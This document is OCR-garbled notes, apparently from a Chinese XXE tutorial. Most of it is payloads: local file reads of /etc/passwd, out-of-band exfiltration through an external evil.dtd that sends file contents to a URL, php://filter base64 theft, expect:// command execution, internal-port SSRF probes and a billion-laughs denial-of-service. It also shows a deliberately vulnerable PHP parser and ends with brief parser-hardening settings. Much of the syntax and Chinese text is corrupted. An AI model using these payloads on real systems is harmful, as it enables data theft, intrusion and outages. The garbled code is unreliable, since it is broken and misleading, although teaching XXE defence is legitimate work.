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<?xml version = "1.0" encoding = "utf-8"?>
<IDOCTYPE test [

<!ENTITY writer "Dawn">

<IENTITY copyright "Copyright W3School.com.cn">
1>

<test>&writer;@right;</test>
2. SR SEARE Y

<IENTITY SE/A%&FR SYSTEM "URI/URL">
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<?xml version = "1.0" encoding = "utf-8"?>

<IDOCTYPE test [

<IENTITY file SYSTEM "file:///etc/passwd">

<!IENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
1>

<author>&file;0@right;</author>
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<?xml version="1.0"?>
<!DOCTYPE ANY [

<IENTITY test SYSTEM "file:///etc/passwd">
1>

<abc>&test;</abc>
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<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
<abc>&bj;</abc>

evil.dtdH &

<IENTITY b SYSTEM "file:///etc/passwd">
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<?xml version="1.0"?>
<!DOCTYPE a [
<IENTITY % d SYSTEM "http://localhost/evil.dtd">
%d;
1>

<abc>&bj;</abe>

evil.dtd Ny % :

<IENTITY b SYSTEM "file:///etc/passwd">
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<?xml version="1.0"?>
<IDOCTYPE a [
<IENTITY d SYSTEM "http://localhost/evil.xml">

1>

<abc>&d;</abc>
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<?xml version="1.0"?>

<!DOCTYPE a [

<IENTITY % file SYSTEM "file:///c://test/1.txt">
<IENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd; %all;

1>

<abc>&send;</abc>

Hrhevilxml>XX R B KR

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost¥%file;'>">
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<?xml version="1.0"?>

<!DOCTYPE a [

<IENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!IENTITY % dtd SYSTEM "http://localhost/evil.xml">

%dtd;

%send;

1>

<abc></abc>

Hevilxm XN EN:

<IENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;"'>"> %payload;
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<?php

$xml = simplexml_load_string($_REQUEST[ 'xml']);
echo "<pre>" ;
print_r($xml);/ /R ZiE RIS T E B 115 R

?>
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<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
1>

<abc>&test;</abc>
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<?xml version="1.0"?>
<IDOCTYPE a [
<IENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/pa
<IENTITY % dtd SYSTEM "http://localhost/evil.xml">

%dtd;
%send;

1>

<abc></abc>
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<IENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
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<?xml version="1.0"?>
<IDOCTYPE lolz [
lol "lol">

<!ENTITY
<!ENTITY
<!ENTITY
<!ENTITY
<!ENTITY
<!ENTITY
<!ENTITY
<!ENTITY
<!ENTITY

1>

lol2
lol3
lola
lol5s
lole
lol7
lol8
lol9

"&lol;&lol;&lol;&lol;&1lol;&1lol;&lol;&lol;&lol;&10l1;">

"&1012;8&1012;8&1012;8&1012;&1012;&1012;8&1012;&1012;&1012;&1012;">
"&1013;&1013;&1013;&1013;&1013;&1013;&1013;&1013;&1013;&1013;">
"&1014;8&1014;8&1014;8&1014;8&1014;&1014;8&1014;8&1014;&1014;&1014;">
"&1015;&1015;&1015;&1015;&1015;&1015;&1015;&1015;&1015;&l015;">
"&1016;&1016;&1016;&1016;&1016;&1016;&1016;8&1016;&1016;&l016;">
"&1017;8&1017;8&1017;&1017;&1017;&1017;8&1017;8&1017;&1017;&1017;">
"&1018;&1018;8&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;">

<lolz>&lo0l9;</lolz>
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<?xml version="1.0"?>
<!DOCTYPE ANY [
<!IENTITY test SYSTEM "expect://id">

1>

<abc>&test;</abc>
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<?xml version="1.0"?>
<IDOCTYPE ANY [
<IENTITY test SYSTEM "http://127.0.0.1:87/tets.txt">

1>

<abc>&test;</abc>
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<?xml version="1.0"?>

<!DOCTYPE a [

<IENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/">
<IENTITY % dtd SYSTEM "http://localhost/evil.xml">

%dtd;

%send;

1>

<abc></abc>
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<IENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;"'>"> %payload;
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<?xml version="1.0"?>

<!DOCTYPE a[

<IENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>
<abc>&xxe;</abc>
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Revisting XXE and abusing protocols [ XXE+expectt&it=>Facbook RCE]

XXE on Windows system ...then what ?? [XXE+SMB=>p} WRCE]

Apache Solr XXEJw1H 71 [CVE-2018-80261
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&+ & FIF 5| S,

CDATA 73[@#§11>: <! [CDATA[fool | >HHINE NPT RMT, RATAEII AR,
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FRAM A LA AMDTD.

S| FAMERDTD V5 M A ENL/SGH : <! DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (FHWMEE)
5| FAMBDTD XMV 4R : <! DOCTYPE a SYSTEM "http://vps ip" >

S| ANEEL/K : <!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>

MR SEARE A © <! DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
AhERSEARVT ) A ENLER D : <! DOCTYPE a SYSTEM "http://192.168.1.2:80"> (HWRHE])
AMEBEARYT SN 0 <!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps ip">]><a>&xxe;</a>
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PHP

libxml disable entity loader (true);

JAVA
DocumentBuilderFactory dbf = DocumentBuilderFactory.newlInstance();
dbf.setExpandEntityReferences (false) ;

Python

from 1xml import etree xmlData =

etree.parse (xmlSource,etree.XMLParser (resolve entities=False))

1L U8 3R A XML
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